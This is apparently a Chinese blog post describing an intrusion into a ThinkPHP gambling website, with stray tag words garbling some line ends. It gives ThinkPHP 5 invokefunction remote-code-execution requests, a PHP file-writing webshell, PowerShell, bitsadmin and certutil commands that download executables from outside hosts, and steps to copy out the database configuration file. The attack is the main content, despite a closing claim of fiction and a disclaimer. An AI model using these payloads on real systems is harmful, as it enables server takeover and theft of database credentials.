無心間發現一個thinkphp的菠菜站,最近tp不是恰好有個漏洞嗎?
而後就順手測試了一下,但過程並不太順利,不過最後仍是拿下了,因此特發此文分享下思路。php
簡單看了下,應該有很多人玩吧?html
正好前幾天寫了個測試工具,先掏出來測試一發。python
工具顯示存在漏洞web
一鍵getshell,看起來很順利的樣子,哈哈。thinkphp
可是...小明甩了下頭髮,發現事情並不簡單。shell
菜刀鏈接的時候,返回500錯誤。
數據庫
咱們用火狐的hackbar驗證下,沒毛病啊,那爲何菜刀鏈接不上呢?
做爲菜逼的我不由陷入了沉思...django
由於這個工具我本身寫的,從上面getshell的圖片中發現調用的是第三個exp,那麼咱們來分析下看看。服務器
poc以下
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dirmarkdown
咱們在poc後面輸入whoami看看權限。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
iis權限
可是能夠執行部分命令,好比echo dir等等。
既然能夠執行echo 那麼咱們能夠來嘗試寫入個小馬試試,若是成功的話,再利用小立刻傳大馬,說幹就幹,苦活來了,咱們得一行一行寫入進去。
注意:代碼中的<>符號,要用^^轉義。好比<?php轉義爲^<^?php
<?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>"> <br><br> <textarea name="text" COLS="70" ROWS="18" ></textarea> <br><br> <input type="submit" name="submit" value="保存"> <form> <?php if(isset($_POST['file'])) { $fp = @fopen($_POST['file'],'wb'); echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失敗!'; @fclose($fp); } ?>
逐行寫入完成後,訪問的時候發現並不能正常運行,這裏忘記截圖了。。
接下來嘗試用如下方法下載文件到服務器上也失敗了。
powershell下載
注意:內核5.2如下版本可能無效 powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\ssss2.exe') bitsadmin下載 bitsadmin /transfer n http://baidu.com/PSTools.zip C:\PSTools.zip 注意:不支持https、ftp協議,使用kali的simplehttpserver做服務器會報錯
正當我打算放棄的時候,我想起來還有個下載的命令沒用。
那就是certutil.exe
說幹就幹,把大馬放到咱們服務器上,開啓HFS。
而後執行如下命令。
certutil.exe -split -ur"lc"ache -f http://ww.baidu.com/svchost.exe svchost.exe
成功進入大馬,不過別高興太早。
小明再次甩了下頭髮,發現事情更不簡單....
大馬能夠操做文件上傳更名等等,可是沒法編輯文件,沒法查看文件源碼等等,點開顯示一片空白。
既然這樣,那麼咱們進數據庫看看吧。
咱們都知道tp的數據庫配置文件在如下這個位置
/application/database.php
大馬是沒法打開了,那麼咱們能夠用tp的命令執行漏洞嘗試用type命令去讀取這個文件。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type c:\www\application\database.php
嘗試type讀取失敗,而後又想到copy命令。
把database.php拷貝到web根目錄下,更名爲1.txt
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copy c:\www\application\database.php c:\www\public\1.txt
拷貝完成之後訪問url/1.txt,發現裏面是空的。
經歷了一系列的失敗後,我冷靜下來想了下,咱們還能夠用file_path去讀取源碼試試。
<?php
用大立刻傳這個文件到根目錄下,而後訪問,成功拿到數據庫配置信息。
而後填寫好配置信息,進入數據庫。
此文寫到這裏已經夜深人靜,看着桌子上吃了一半的泡麪,最後喝了兩口湯,關機,睡覺......
本文純屬虛構,若有雷同,拒絕查水錶。
tp5測試工具我更新了下,添加了3個getshell方法。
回覆便可下載。
免責聲明:工具只能用於測試漏洞,禁止用於非法用途,不然一切後果自負。